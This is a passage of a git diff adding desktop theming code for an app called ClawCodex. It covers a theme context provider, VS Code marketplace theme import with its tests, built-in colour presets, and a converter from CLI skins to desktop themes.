+  // Keep the native window appearance pinned to the app theme (vibrancy
+  // material, titlebar, new-window pre-paint background).
+  useEffect(() => syncNativeTheme(mode, renderedMode), [mode, renderedMode])
+
+  // Assign to whichever profile is live right now (read fresh so the callbacks
+  // stay stable across profile switches).
+  const liveProfile = () => normalizeProfileKey($activeGatewayProfile.get())
+
+  const setTheme = useCallback((name: string) => {
+    const next = normalizeSkin(name)
+    setThemeNameState(next)
+    skinPref.assign(liveProfile(), next)
+  }, [])
+
+  const setMode = useCallback((next: ThemeMode) => {
+    setModeState(next)
+    modePref.assign(liveProfile(), next)
+  }, [])
+
+  // Drain a backend-driven skin switch (ClawCodex authoring/activating a skin from a
+  // prompt, or `/skin` on another surface). setTheme persists it per profile, so
+  // the choice sticks like any manual pick.
+  const pendingSkin = useStore($pendingSkinApply)
+
+  useEffect(() => {
+    if (pendingSkin) {
+      setTheme(pendingSkin)
+      $pendingSkinApply.set(null)
+    }
+  }, [pendingSkin, setTheme])
+
+  // The light/dark toggle (Shift+X by default) is owned by the keybind runtime
+  // (`appearance.toggleMode`) so it shows up in the hotkey map and is rebindable.
+
+  const value = useMemo<ThemeContextValue>(
+    () => ({ theme: activeTheme, themeName, mode, resolvedMode, renderedMode, availableThemes, setTheme, setMode }),
+    [activeTheme, themeName, mode, resolvedMode, renderedMode, availableThemes, setTheme, setMode]
+  )
+
+  return <ThemeContext.Provider value={value}>{children}</ThemeContext.Provider>
+}
+
+export const useTheme = (): ThemeContextValue => useContext(ThemeContext)
diff --git a/ui-desktop/src/themes/index.ts b/ui-desktop/src/themes/index.ts
new file mode 100644
index 000000000..4fde3114d
--- /dev/null
+++ b/ui-desktop/src/themes/index.ts
@@ -0,0 +1,6 @@
+export { ingestBackendSkin } from './backend-sync'
+export { ThemeProvider, useTheme } from './context'
+export { BUILTIN_THEME_LIST, BUILTIN_THEMES, DEFAULT_SKIN_NAME } from './presets'
+export { skinToDesktopTheme } from './skin'
+export type { DesktopTheme, DesktopThemeColors, DesktopThemeTypography } from './types'
+export type { ClawCodexSkin } from '@clawcodex/shared/skin'
diff --git a/ui-desktop/src/themes/install.test.ts b/ui-desktop/src/themes/install.test.ts
new file mode 100644
index 000000000..5231f7646
--- /dev/null
+++ b/ui-desktop/src/themes/install.test.ts
@@ -0,0 +1,132 @@
+import { describe, expect, it } from 'vitest'
+
+import type { DesktopMarketplaceThemeResult } from '@/global'
+
+import { luminance } from './color'
+import { buildThemeFromMarketplace } from './install'
+
+const themeJson = (type: 'light' | 'dark', background: string, foreground: string) =>
+  JSON.stringify({ type, colors: { 'editor.background': background, 'editor.foreground': foreground } })
+
+// A full base-8 ANSI set keyed off `red` so each variant is distinguishable.
+const ansiColors = (red: string) => ({
+  'terminal.ansiBlack': '#000000',
+  'terminal.ansiRed': red,
+  'terminal.ansiGreen': '#00aa00',
+  'terminal.ansiYellow': '#aaaa00',
+  'terminal.ansiBlue': '#0000aa',
+  'terminal.ansiMagenta': '#aa00aa',
+  'terminal.ansiCyan': '#00aaaa',
+  'terminal.ansiWhite': '#aaaaaa'
+})
+
+const themeJsonWithAnsi = (type: 'light' | 'dark', background: string, foreground: string, red: string) =>
+  JSON.stringify({
+    type,
+    colors: { 'editor.background': background, 'editor.foreground': foreground, ...ansiColors(red) }
+  })
+
+describe('buildThemeFromMarketplace', () => {
+  it('folds a light + dark variant into one family with both slots', () => {
+    const result: DesktopMarketplaceThemeResult = {
+      extensionId: 'ryanolsonx.solarized',
+      displayName: 'Solarized',
+      themes: [
+        { label: 'Solarized Light', uiTheme: 'vs', contents: themeJson('light', '#fdf6e3', '#586e75') },
+        { label: 'Solarized Dark', uiTheme: 'vs-dark', contents: themeJson('dark', '#002b36', '#93a1a1') }
+      ]
+    }
+
+    const theme = buildThemeFromMarketplace(result)
+
+    expect(theme.label).toBe('Solarized')
+    expect(theme.name).toBe('vsc-solarized')
+    // colors = the light variant, darkColors = the dark variant → the toggle works.
+    expect(theme.colors.background).toBe('#fdf6e3')
+    expect(theme.darkColors?.background).toBe('#002b36')
+    expect(luminance(theme.colors.background)).toBeGreaterThan(0.5)
+    expect(luminance(theme.darkColors!.background)).toBeLessThan(0.5)
+  })
+
+  it('orders variants by contribution regardless of light/dark sequence', () => {
+    const result: DesktopMarketplaceThemeResult = {
+      extensionId: 'github.github-vscode-theme',
+      displayName: 'GitHub Theme',
+      themes: [
+        { label: 'GitHub Dark Default', uiTheme: 'vs-dark', contents: themeJson('dark', '#0d1117', '#e6edf3') },
+        { label: 'GitHub Light Default', uiTheme: 'vs', contents: themeJson('light', '#ffffff', '#1f2328') }
+      ]
+    }
+
+    const theme = buildThemeFromMarketplace(result)
+    expect(theme.colors.background).toBe('#ffffff')
+    expect(theme.darkColors?.background).toBe('#0d1117')
+  })
+
+  it('fills both slots with the sole palette for a single-variant extension', () => {
+    const result: DesktopMarketplaceThemeResult = {
+      extensionId: 'dracula-theme.theme-dracula',
+      displayName: 'Dracula',
+      themes: [{ label: 'Dracula', uiTheme: 'vs-dark', contents: themeJson('dark', '#282a36', '#f8f8f2') }]
+    }
+
+    const theme = buildThemeFromMarketplace(result)
+    expect(theme.colors.background).toBe('#282a36')
+    expect(theme.darkColors).toBe(theme.colors)
+  })
+
+  it('keys each variant terminal palette to its mode (terminal / darkTerminal)', () => {
+    const result: DesktopMarketplaceThemeResult = {
+      extensionId: 'ryanolsonx.solarized',
+      displayName: 'Solarized',
+      themes: [
+        {
+          label: 'Solarized Light',
+          uiTheme: 'vs',
+          contents: themeJsonWithAnsi('light', '#fdf6e3', '#586e75', '#dc322f')
+        },
+        {
+          label: 'Solarized Dark',
+          uiTheme: 'vs-dark',
+          contents: themeJsonWithAnsi('dark', '#002b36', '#93a1a1', '#ff5f56')
+        }
+      ]
+    }
+
+    const theme = buildThemeFromMarketplace(result)
+    expect(theme.terminal?.red).toBe('#dc322f')
+    expect(theme.darkTerminal?.red).toBe('#ff5f56')
+  })
+
+  it('reuses the sole variant terminal palette for both modes', () => {
+    const result: DesktopMarketplaceThemeResult = {
+      extensionId: 'dracula-theme.theme-dracula',
+      displayName: 'Dracula',
+      themes: [
+        { label: 'Dracula', uiTheme: 'vs-dark', contents: themeJsonWithAnsi('dark', '#282a36', '#f8f8f2', '#ff5555') }
+      ]
+    }
+
+    const theme = buildThemeFromMarketplace(result)
+    expect(theme.terminal?.red).toBe('#ff5555')
+    expect(theme.darkTerminal?.red).toBe('#ff5555')
+  })
+
+  it('leaves terminal slots unset when no variant ships an ANSI palette', () => {
+    const result: DesktopMarketplaceThemeResult = {
+      extensionId: 'x.plain',
+      displayName: 'Plain',
+      themes: [{ label: 'Plain', uiTheme: 'vs-dark', contents: themeJson('dark', '#101010', '#fafafa') }]
+    }
+
+    const theme = buildThemeFromMarketplace(result)
+    expect(theme.terminal).toBeUndefined()
+    expect(theme.darkTerminal).toBeUndefined()
+  })
+
+  it('throws when the extension contributes no themes', () => {
+    expect(() => buildThemeFromMarketplace({ extensionId: 'x.y', displayName: 'X', themes: [] })).toThrow(
+      /does not contribute/i
+    )
+  })
+})
diff --git a/ui-desktop/src/themes/install.ts b/ui-desktop/src/themes/install.ts
new file mode 100644
index 000000000..1595872f6
--- /dev/null
+++ b/ui-desktop/src/themes/install.ts
@@ -0,0 +1,92 @@
+/**
+ * Install desktop themes from external sources.
+ *
+ * The heavy lifting (network + .vsix unzip) lives in the Electron main process
+ * (`electron/vscode-marketplace.ts`), reached via `window.clawcodexDesktop.themes`.
+ * Main hands back the raw theme JSON; we parse + convert + persist here so the
+ * conversion stays in one unit-testable place.
+ */
+
+import type { DesktopMarketplaceThemeResult } from '@/global'
+
+import type { DesktopTheme } from './types'
+import { installUserTheme } from './user-themes'
+import { convertVscodeColorTheme, parseVscodeTheme, vscodeThemeSlug } from './vscode'
+
+/** A `publisher.extension` id, e.g. `dracula-theme.theme-dracula`. */
+export const MARKETPLACE_ID_RE = /^[\w-]+\.[\w-]+$/
+
+/** Parse + convert + persist a pasted VS Code theme JSON. */
+export function installVscodeThemeFromText(text: string, opts?: { label?: string; source?: string }): DesktopTheme {
+  const raw = parseVscodeTheme(text)
+  const { theme } = convertVscodeColorTheme(raw, opts)
+
+  return installUserTheme(theme)
+}
+
+/**
+ * Fold every color theme an extension contributes into ONE desktop theme family.
+ *
+ * Many extensions ship a light *and* a dark variant (GitHub, Solarized, Winter
+ * is Coming…). Rather than install them as separate flat entries — which made
+ * the light/dark toggle a no-op and let "install in dark mode" land on the light
+ * variant — we map the first light variant onto `colors` and the first dark
+ * variant onto `darkColors`. The result is a single picker entry whose light/dark
+ * toggle switches between the real variants. A single-variant extension fills
+ * both slots with its one palette (the toggle is a no-op, as it must be).
+ */
+export function buildThemeFromMarketplace(result: DesktopMarketplaceThemeResult): DesktopTheme {
+  if (!result.themes.length) {
+    throw new Error(`"${result.extensionId}" does not contribute any color themes.`)
+  }
+
+  const variants = result.themes.map(file => {
+    const raw = parseVscodeTheme(file.contents)
+    const label = file.label || raw.name || result.displayName
+    const { mode, theme } = convertVscodeColorTheme(raw, { label, source: result.extensionId })
+
+    return { mode, palette: theme.colors, terminal: theme.terminal }
+  })
+
+  const fallback = variants[0]
+  const light = variants.find(variant => variant.mode === 'light') ?? fallback
+  const dark = variants.find(variant => variant.mode === 'dark') ?? fallback
+
+  // The terminal ANSI palette tracks the painted variant the same way colors do
+  // (light → terminal, dark → darkTerminal); each falls back to the other so a
+  // single-variant import still themes the terminal in both modes.
+  const terminal = light.terminal ?? dark.terminal
+  const darkTerminal = dark.terminal ?? light.terminal
+
+  return {
+    name: vscodeThemeSlug(result.displayName),
+    label: result.displayName,
+    description: `VS Code · ${result.extensionId}`,
+    colors: light.palette,
+    darkColors: dark.palette,
+    ...(terminal ? { terminal } : {}),
+    ...(darkTerminal ? { darkTerminal } : {})
+  }
+}
+
+/**
+ * Download a Marketplace extension and install the theme family it contributes
+ * (see `buildThemeFromMarketplace`). Returns the single installed theme.
+ */
+export async function installVscodeThemeFromMarketplace(id: string): Promise<DesktopTheme> {
+  const trimmed = id.trim()
+
+  if (!MARKETPLACE_ID_RE.test(trimmed)) {
+    throw new Error('Expected a Marketplace id like "publisher.extension".')
+  }
+
+  const api = window.clawcodexDesktop?.themes
+
+  if (!api?.fetchMarketplace) {
+    throw new Error('Marketplace install is only available in the desktop app.')
+  }
+
+  const result = await api.fetchMarketplace(trimmed)
+
+  return installUserTheme(buildThemeFromMarketplace(result))
+}
diff --git a/ui-desktop/src/themes/presets.test.ts b/ui-desktop/src/themes/presets.test.ts
new file mode 100644
index 000000000..9cb1b86ef
--- /dev/null
+++ b/ui-desktop/src/themes/presets.test.ts
@@ -0,0 +1,33 @@
+import { describe, expect, it } from 'vitest'
+
+import { BUILTIN_THEME_LIST, DEFAULT_TYPOGRAPHY, EMOJI_FALLBACK } from './presets'
+
+// #40364: none of the UI text/mono fonts carry emoji glyphs, so every font
+// stack must end with a color-emoji fallback or emoji render as tofu on
+// platforms whose default font lacks them (e.g. Linux).
+describe('theme typography emoji fallback (#40364)', () => {
+  const stacks: Array<[string, string]> = [
+    ['DEFAULT_TYPOGRAPHY.fontSans', DEFAULT_TYPOGRAPHY.fontSans],
+    ['DEFAULT_TYPOGRAPHY.fontMono', DEFAULT_TYPOGRAPHY.fontMono],
+    // A theme may override only fontMono (fontSans then falls back to the
+    // default, which already carries the emoji stack), so skip undefined.
+    ...BUILTIN_THEME_LIST.flatMap(theme =>
+      (
+        [
+          [`${theme.name}.fontSans`, theme.typography?.fontSans],
+          [`${theme.name}.fontMono`, theme.typography?.fontMono]
+        ] as Array<[string, string | undefined]>
+      ).filter((entry): entry is [string, string] => typeof entry[1] === 'string')
+    )
+  ]
+
+  it.each(stacks)('%s includes a color-emoji font', (_label, stack) => {
+    expect(stack).toMatch(/Apple Color Emoji|Segoe UI Emoji|Noto Color Emoji|(^|,\s*)emoji\b/)
+  })
+
+  it('EMOJI_FALLBACK lists the major platform emoji fonts', () => {
+    expect(EMOJI_FALLBACK).toContain('Apple Color Emoji')
+    expect(EMOJI_FALLBACK).toContain('Segoe UI Emoji')
+    expect(EMOJI_FALLBACK).toContain('Noto Color Emoji')
+  })
+})
diff --git a/ui-desktop/src/themes/presets.ts b/ui-desktop/src/themes/presets.ts
new file mode 100644
index 000000000..66dd33e75
--- /dev/null
+++ b/ui-desktop/src/themes/presets.ts
@@ -0,0 +1,291 @@
+/**
+ * Built-in desktop themes. Names match the CLI skins / dashboard presets.
+ * Add new themes here — no code changes needed elsewhere.
+ */
+
+import type { DesktopTheme, DesktopThemeTypography } from './types'
+
+// Color-emoji fonts to append to every stack as a last resort. None of the UI
+// text/mono fonts carry emoji glyphs, so without this emoji render as tofu
+// boxes on platforms whose default text font lacks them (e.g. Linux/#40364).
+// Covers macOS, Windows, Linux, plus the `emoji` generic for anything else.
+export const EMOJI_FALLBACK = '"Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji", emoji'
+
+const SYSTEM_SANS =
+  '"Segoe WPC", "Segoe UI", -apple-system, BlinkMacSystemFont, "SF Pro Text", "SF Pro Display", system-ui, sans-serif, ' +
+  EMOJI_FALLBACK
+
+const SYSTEM_MONO = 'Menlo, Monaco, "SF Mono", "Courier Prime", monospace, ' + EMOJI_FALLBACK
+
+export const DEFAULT_TYPOGRAPHY: DesktopThemeTypography = { fontSans: SYSTEM_SANS, fontMono: SYSTEM_MONO }
+
+const NOUS_BLUE = '#0053FD'
+const PSYCHE_BLUE = '#1540B1'
+const PSYCHE_WARM = '#FFE6CB'
+
+const nousTint = (pct: number) => `color-mix(in srgb, ${NOUS_BLUE} ${pct}%, #FFFFFF)`
+const nousTintTransparent = (pct: number) => `color-mix(in srgb, ${NOUS_BLUE} ${pct}%, transparent)`
+
+/**
+ * Nous — canonical ClawCodex desktop identity. The palette keeps the current
+ * glass geometry neutral, then lets the old bb/gui blue and psyche cream
+ * return as accent seeds.
+ */
+export const nousTheme: DesktopTheme = {
+  name: 'nous',
+  label: 'Nous',
+  description: 'Glass neutrals with Nous blue accents',
+  colors: {
+    background: '#F8FAFF',
+    foreground: '#17171A',
+    card: '#FFFFFF',
+    cardForeground: '#17171A',
+    muted: nousTint(5),
+    mutedForeground: '#666678',
+    popover: '#FFFFFF',
+    popoverForeground: '#17171A',
+    primary: NOUS_BLUE,
+    primaryForeground: '#FCFCFC',
+    secondary: nousTint(7),
+    secondaryForeground: '#242432',
+    accent: nousTint(10),
+    accentForeground: '#202030',
+    border: nousTintTransparent(22),
+    input: nousTintTransparent(30),
+    ring: NOUS_BLUE,
+    midground: NOUS_BLUE,
+    composerRing: NOUS_BLUE,
+    destructive: '#C72E4D',
+    destructiveForeground: '#FFFFFF',
+    sidebarBackground: '#F3F7FF',
+    sidebarBorder: nousTintTransparent(18),
+    userBubble: nousTint(6),
+    userBubbleBorder: nousTintTransparent(24)
+  },
+  darkColors: {
+    background: '#0D2F86',
+    foreground: PSYCHE_WARM,
+    card: '#12378F',
+    cardForeground: PSYCHE_WARM,
+    muted: '#183F9A',
+    mutedForeground: '#B5C7F3',
+    popover: '#123A96',
+    popoverForeground: PSYCHE_WARM,
+    primary: PSYCHE_WARM,
+    primaryForeground: '#0D2F86',
+    secondary: '#1B45A4',
+    secondaryForeground: '#E0E8FF',
+    accent: PSYCHE_BLUE,
+    accentForeground: '#F0F4FF',
+    border: '#3158AD',
+    input: '#0B2566',
+    ring: PSYCHE_WARM,
+    midground: NOUS_BLUE,
+    composerRing: PSYCHE_WARM,
+    destructive: '#C0473A',
+    destructiveForeground: '#FEF2F2',
+    sidebarBackground: '#09286F',
+    sidebarBorder: '#234A9C',
+    userBubble: '#143B91',
+    userBubbleBorder: '#3A63BD'
+  },
+  typography: {
+    fontSans: SYSTEM_SANS,
+    fontMono: SYSTEM_MONO,
+    fontUrl: 'https://fonts.googleapis.com/css2?family=Courier+Prime:wght@400;700&display=swap'
+  }
+}
+
+/** Deep blue-violet with cool accents. Matches the dashboard midnight theme. */
+export const midnightTheme: DesktopTheme = {
+  name: 'midnight',
+  label: 'Midnight',
+  description: 'Deep blue-violet with cool accents',
+  colors: {
+    background: '#08081c',
+    foreground: '#ddd6ff',
+    card: '#0d0d28',
+    cardForeground: '#ddd6ff',
+    muted: '#13133a',
+    mutedForeground: '#7c7ab0',
+    popover: '#0f0f2e',
+    popoverForeground: '#ddd6ff',
+    primary: '#ddd6ff',
+    primaryForeground: '#08081c',
+    secondary: '#1a1a4a',
+    secondaryForeground: '#c4bff0',
+    accent: '#1a1a44',
+    accentForeground: '#d0c8ff',
+    border: '#1e1e52',
+    input: '#1e1e52',
+    ring: '#8b80e8',
+    midground: '#8b80e8',
+    destructive: '#b03060',
+    destructiveForeground: '#fef2f2',
+    sidebarBackground: '#06061a',
+    sidebarBorder: '#12123a',
+    userBubble: '#14143a',
+    userBubbleBorder: '#242466'
+  },
+  typography: {
+    fontMono: `"JetBrains Mono", ${SYSTEM_MONO}`,
+    fontUrl: 'https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&display=swap'
+  }
+}
+
+/** Warm crimson and bronze — forge vibes. Matches the CLI ares skin. */
+export const emberTheme: DesktopTheme = {
+  name: 'ember',
+  label: 'Ember',
+  description: 'Warm crimson and bronze — forge vibes',
+  colors: {
+    background: '#160800',
+    foreground: '#ffd8b0',
+    card: '#1e0e04',
+    cardForeground: '#ffd8b0',
+    muted: '#2a1408',
+    mutedForeground: '#aa7a56',
+    popover: '#221008',
+    popoverForeground: '#ffd8b0',
+    primary: '#ffd8b0',
+    primaryForeground: '#160800',
+    secondary: '#341800',
+    secondaryForeground: '#f0c090',
+    accent: '#301600',
+    accentForeground: '#e8c080',
+    border: '#3a1c08',
+    input: '#3a1c08',
+    ring: '#d97316',
+    midground: '#d97316',
+    destructive: '#c43010',
+    destructiveForeground: '#fef2f2',
+    sidebarBackground: '#100600',
+    sidebarBorder: '#2a1004',
+    userBubble: '#2a1000',
+    userBubbleBorder: '#4a2010'
+  },
+  typography: {
+    fontMono: `"IBM Plex Mono", ${SYSTEM_MONO}`,
+    fontUrl: 'https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;700&display=swap'
+  }
+}
+
+/** Clean grayscale. Matches the CLI mono skin and dashboard mono theme. */
+export const monoTheme: DesktopTheme = {
+  name: 'mono',
+  label: 'Mono',
+  description: 'Clean grayscale — minimal and focused',
+  colors: {
+    background: '#0e0e0e',
+    foreground: '#eaeaea',
+    card: '#141414',
+    cardForeground: '#eaeaea',
+    muted: '#1e1e1e',
+    mutedForeground: '#808080',
+    popover: '#181818',
+    popoverForeground: '#eaeaea',
+    primary: '#eaeaea',
+    primaryForeground: '#0e0e0e',
+    secondary: '#262626',
+    secondaryForeground: '#c8c8c8',
+    accent: '#222222',
+    accentForeground: '#d8d8d8',
+    border: '#2a2a2a',
+    input: '#2a2a2a',
+    ring: '#9a9a9a',
+    midground: '#9a9a9a',
+    destructive: '#a84040',
+    destructiveForeground: '#fef2f2',
+    sidebarBackground: '#0a0a0a',
+    sidebarBorder: '#202020',
+    userBubble: '#1a1a1a',
+    userBubbleBorder: '#363636'
+  }
+}
+
+/** Neon green on black. Matches the CLI cyberpunk skin and dashboard theme. */
+export const cyberpunkTheme: DesktopTheme = {
+  name: 'cyberpunk',
+  label: 'Cyberpunk',
+  description: 'Neon green on black — matrix terminal',
+  colors: {
+    background: '#000a00',
+    foreground: '#00ff41',
+    card: '#001200',
+    cardForeground: '#00ff41',
+    muted: '#001a00',
+    mutedForeground: '#1a8a30',
+    popover: '#001000',
+    popoverForeground: '#00ff41',
+    primary: '#00ff41',
+    primaryForeground: '#000a00',
+    secondary: '#002800',
+    secondaryForeground: '#00cc34',
+    accent: '#002000',
+    accentForeground: '#00e038',
+    border: '#003000',
+    input: '#003000',
+    ring: '#00ff41',
+    midground: '#00ff41',
+    destructive: '#ff003c',
+    destructiveForeground: '#000a00',
+    sidebarBackground: '#000600',
+    sidebarBorder: '#001800',
+    userBubble: '#001400',
+    userBubbleBorder: '#004800'
+  },
+  typography: {
+    fontMono: `"Courier New", Courier, monospace, ${EMOJI_FALLBACK}`,
+    fontSans: `"Courier New", Courier, monospace, ${EMOJI_FALLBACK}`
+  }
+}
+
+/** Cool slate blue for developers. Matches the CLI slate skin. */
+export const slateTheme: DesktopTheme = {
+  name: 'slate',
+  label: 'Slate',
+  description: 'Cool slate blue — focused developer theme',
+  colors: {
+    background: '#0d1117',
+    foreground: '#c9d1d9',
+    card: '#161b22',
+    cardForeground: '#c9d1d9',
+    muted: '#21262d',
+    mutedForeground: '#8b949e',
+    popover: '#1c2128',
+    popoverForeground: '#c9d1d9',
+    primary: '#c9d1d9',
+    primaryForeground: '#0d1117',
+    secondary: '#2a3038',
+    secondaryForeground: '#adb5bf',
+    accent: '#1e2530',
+    accentForeground: '#c0c8d0',
+    border: '#30363d',
+    input: '#30363d',
+    ring: '#58a6ff',
+    midground: '#58a6ff',
+    destructive: '#cf4848',
+    destructiveForeground: '#fef2f2',
+    sidebarBackground: '#090d13',
+    sidebarBorder: '#1c2228',
+    userBubble: '#1e2a38',
+    userBubbleBorder: '#2e4060'
+  },
+  typography: {
+    fontMono: `"JetBrains Mono", ${SYSTEM_MONO}`
+  }
+}
+
+export const BUILTIN_THEMES: Record<string, DesktopTheme> = {
+  nous: nousTheme,
+  midnight: midnightTheme,
+  ember: emberTheme,
+  mono: monoTheme,
+  cyberpunk: cyberpunkTheme,
+  slate: slateTheme
+}
+
+export const BUILTIN_THEME_LIST = Object.values(BUILTIN_THEMES)
+
+/** Skin used when nothing is persisted or the persisted name is retired. */
+export const DEFAULT_SKIN_NAME = 'nous'
diff --git a/ui-desktop/src/themes/profile-theme.test.ts b/ui-desktop/src/themes/profile-theme.test.ts
new file mode 100644
index 000000000..ce4a46dc4
--- /dev/null
+++ b/ui-desktop/src/themes/profile-theme.test.ts
@@ -0,0 +1,48 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { modePref, skinPref } from './context'
+import { DEFAULT_SKIN_NAME } from './presets'
+
+// Skin and mode share one per-profile contract, so assert it once over both.
+interface Pref {
+  resolve: (profile: string) => string
+  assign: (profile: string, value: string) => void
+}
+
+const cases = [
+  {
+    name: 'skin',
+    pref: skinPref as unknown as Pref,
+    fallback: DEFAULT_SKIN_NAME,
+    a: 'ember',
+    b: 'midnight',
+    junk: 'nope'
+  },
+  { name: 'mode', pref: modePref as unknown as Pref, fallback: 'light', a: 'dark', b: 'system', junk: 'dusk' }
+]
+
+describe.each(cases)('per-profile $name', ({ pref, fallback, a, b, junk }) => {
+  beforeEach(() => window.localStorage.clear())
+
+  it('falls back to the default when unassigned', () => {
+    expect(pref.resolve('default')).toBe(fallback)
+    expect(pref.resolve('work')).toBe(fallback)
+  })
+
+  it('keeps each profile on its own value', () => {
+    pref.assign('work', a)
+    pref.assign('default', b)
+    expect(pref.resolve('work')).toBe(a)
+    expect(pref.resolve('default')).toBe(b)
+  })
+
+  it('lets unassigned profiles inherit the default profile as the global fallback', () => {
+    pref.assign('default', a)
+    expect(pref.resolve('never-themed')).toBe(a)
+  })
+
+  it('normalizes an unknown stored value back to the default', () => {
+    pref.assign('work', junk)
+    expect(pref.resolve('work')).toBe(fallback)
+  })
+})
diff --git a/ui-desktop/src/themes/skin.test.ts b/ui-desktop/src/themes/skin.test.ts
new file mode 100644
index 000000000..353a690ad
--- /dev/null
+++ b/ui-desktop/src/themes/skin.test.ts
@@ -0,0 +1,50 @@
+import { describe, expect, it } from 'vitest'
+
+import { luminance, normalizeHex } from './color'
+import { skinToDesktopTheme } from './skin'
+
+const withColors = (name: string, colors: Record<string, string>) => skinToDesktopTheme({ name, colors })
+
+describe('skinToDesktopTheme', () => {
+  it('returns null without a name or colors', () => {
+    expect(skinToDesktopTheme({ name: 'x' })).toBeNull()
+    expect(skinToDesktopTheme({ name: '', colors: { background: '#101010' } })).toBeNull()
+  })
+
+  it('maps the accent onto every brand token and keeps a single palette', () => {
+    const theme = withColors('neon', { background: '#101020', ui_accent: '#ff33aa', banner_text: '#eeeeee' })!
+
+    expect(theme.name).toBe('neon')
+    expect(theme.colors.ring).toBe(theme.colors.primary)
+    expect(theme.colors.midground).toBe(theme.colors.primary)
+    // A skin is single-mode: the light/dark toggle must not invert it.
+    expect(theme.colors).toBe(theme.darkColors)
+  })
+
+  it('seeds the background from status_bar_bg when none is explicit', () => {
+    const theme = withColors('s', { status_bar_bg: '#0b0b0b', banner_text: '#ffffff' })!
+
+    expect(theme.colors.background).toBe('#0b0b0b')
+    expect(theme.colors.foreground).toBe('#ffffff')
+  })
+
+  it('buckets dark vs light from background luminance', () => {
+    const dark = withColors('d', { background: '#111111', banner_text: '#eeeeee' })!
+    const light = withColors('l', { background: '#fafafa', banner_text: '#111111' })!
+
+    expect(luminance(dark.colors.background)).toBeLessThan(0.4)
+    expect(luminance(light.colors.background)).toBeGreaterThan(0.4)
+  })
+
+  it('derives a dark base from light text when no background is given', () => {
+    const theme = withColors('x', { banner_text: '#eeeeee', ui_accent: '#33ccff' })!
+
+    expect(luminance(theme.colors.background)).toBeLessThan(0.4)
+  })
+
+  it('maps ui_error to destructive', () => {
+    const theme = withColors('e', { background: '#101010', ui_error: '#ff5566' })!
+
+    expect(theme.colors.destructive).toBe(normalizeHex('#ff5566'))
+  })
+})
diff --git a/ui-desktop/src/themes/skin.ts b/ui-desktop/src/themes/skin.ts
new file mode 100644
index 000000000..57e601872
--- /dev/null
+++ b/ui-desktop/src/themes/skin.ts
@@ -0,0 +1,117 @@
+/**
+ * ClawCodex skin → DesktopTheme converter.
+ *
+ * A "skin" is the CLI/TUI theme unit: a YAML file in `$CLAWCODEX_CONFIG_DIR/skins/` (or a
+ * built-in) resolved by `clawcodex_cli/skin_engine.py` and pushed to every surface
+ * over JSON-RPC (`gateway.ready`, `skin.changed`, `config.get skin`). This is the
+ * one place the desktop turns that CLI-shaped palette into a `DesktopTheme`, so a
+ * skin ClawCodex authors from a prompt lights up all three surfaces from one file.
+ *
+ * Skins carry terminal-oriented keys (banner/status/completion). We seed the
+ * desktop model from the load-bearing few (background, foreground, accent, error)
+ * and derive every glass/shadcn surface by mixing toward bg/fg — the same "naive
+ * token converter" strategy as the VS Code importer. A skin is single-mode, so
+ * both `colors` and `darkColors` get the converted palette; `renderedModeFor`
+ * still picks `.dark` from the real background luminance.
+ */
+
+import type { ClawCodexSkin, SkinColors } from '@clawcodex/shared/skin'
+
+import { ensureContrast, luminance, mix, normalizeHex, readableOn } from './color'
+import type { DesktopTheme, DesktopThemeColors } from './types'
+
+// The accent labels the sidebar in small uppercase text, so it must clear WCAG AA
+// for normal text or section headers go invisible — mirrors the VS Code importer.
+const ACCENT_MIN_CONTRAST = 4.5
+
+/** First normalizable hex among `keys`, alpha flattened over `backdrop`. */
+const pick = (colors: SkinColors, keys: string[], backdrop: string): string | null => {
+  for (const key of keys) {
+    const value = normalizeHex(colors[key], backdrop)
+
+    if (value) {
+      return value
+    }
+  }
+
+  return null
+}
+
+const titleCase = (name: string): string => name.charAt(0).toUpperCase() + name.slice(1)
+
+/**
+ * Convert a resolved skin into a `DesktopTheme`, or null when it carries no
+ * usable colors (so a broken/empty skin never registers junk).
+ */
+export function skinToDesktopTheme(skin: ClawCodexSkin): DesktopTheme | null {
+  const name = (skin.name ?? '').trim()
+  const colors = skin.colors
+
+  if (!name || !colors || typeof colors !== 'object') {
+    return null
+  }
+
+  // Background is the backdrop every other token flattens alpha over. Skins are
+  // terminal-first so most only tint chrome — `status_bar_bg` is the closest
+  // thing to an app surface; `background` is the explicit opt-in for GUI authors.
+  const seededBg = pick(colors, ['background', 'status_bar_bg'], '#000000')
+  const foregroundSeed = pick(colors, ['ui_text', 'banner_text', 'status_bar_text'], seededBg ?? '#000000')
+
+  // No background given: bucket by foreground luminance (light text ⇒ dark app).
+  const background = seededBg ?? (foregroundSeed && luminance(foregroundSeed) > 0.5 ? '#141414' : '#f7f7f8')
+  const dark = luminance(background) < 0.4
+  const foreground = foregroundSeed ?? (dark ? '#e6e6e6' : '#161616')
+
+  const accentSeed =
+    pick(colors, ['ui_accent', 'banner_accent', 'banner_title'], background) ?? mix(foreground, background, 0.55)
+
+  const sidebar = mix(background, foreground, dark ? 0.02 : 0.012)
+  const accent = ensureContrast(accentSeed, sidebar, ACCENT_MIN_CONTRAST)
+
+  const border =
+    pick(colors, ['ui_border', 'banner_border'], background) ?? mix(background, foreground, dark ? 0.16 : 0.14)
+
+  const mutedForeground =
+    pick(colors, ['banner_dim', 'session_border'], background) ?? mix(foreground, background, 0.45)
+
+  const destructive = pick(colors, ['ui_error'], background) ?? '#e25563'
+
+  const palette: DesktopThemeColors = {
+    background,
+    foreground,
+    card: mix(background, foreground, dark ? 0.04 : 0.025),
+    cardForeground: foreground,
+    muted: mix(background, foreground, dark ? 0.06 : 0.04),
+    mutedForeground,
+    popover: mix(background, foreground, dark ? 0.08 : 0.05),
+    popoverForeground: foreground,
+    primary: accent,
+    primaryForeground: readableOn(accent),
+    secondary: mix(accent, background, dark ? 0.72 : 0.86),
+    secondaryForeground: foreground,
+    accent: mix(accent, background, dark ? 0.82 : 0.88),
+    accentForeground: foreground,
+    border,
+    input: pick(colors, ['completion_menu_bg'], background) ?? mix(background, foreground, dark ? 0.1 : 0.06),
+    ring: accent,
+    midground: accent,
+    midgroundForeground: readableOn(accent),
+    composerRing: accent,
+    destructive,
+    destructiveForeground: readableOn(destructive),
+    sidebarBackground: sidebar,
+    sidebarBorder: border,
+    userBubble: mix(background, accent, dark ? 0.18 : 0.12),
+    userBubbleBorder: border
+  }
+
+  return {
+    name,
+    label: titleCase(name),
+    description: 'ClawCodex skin',
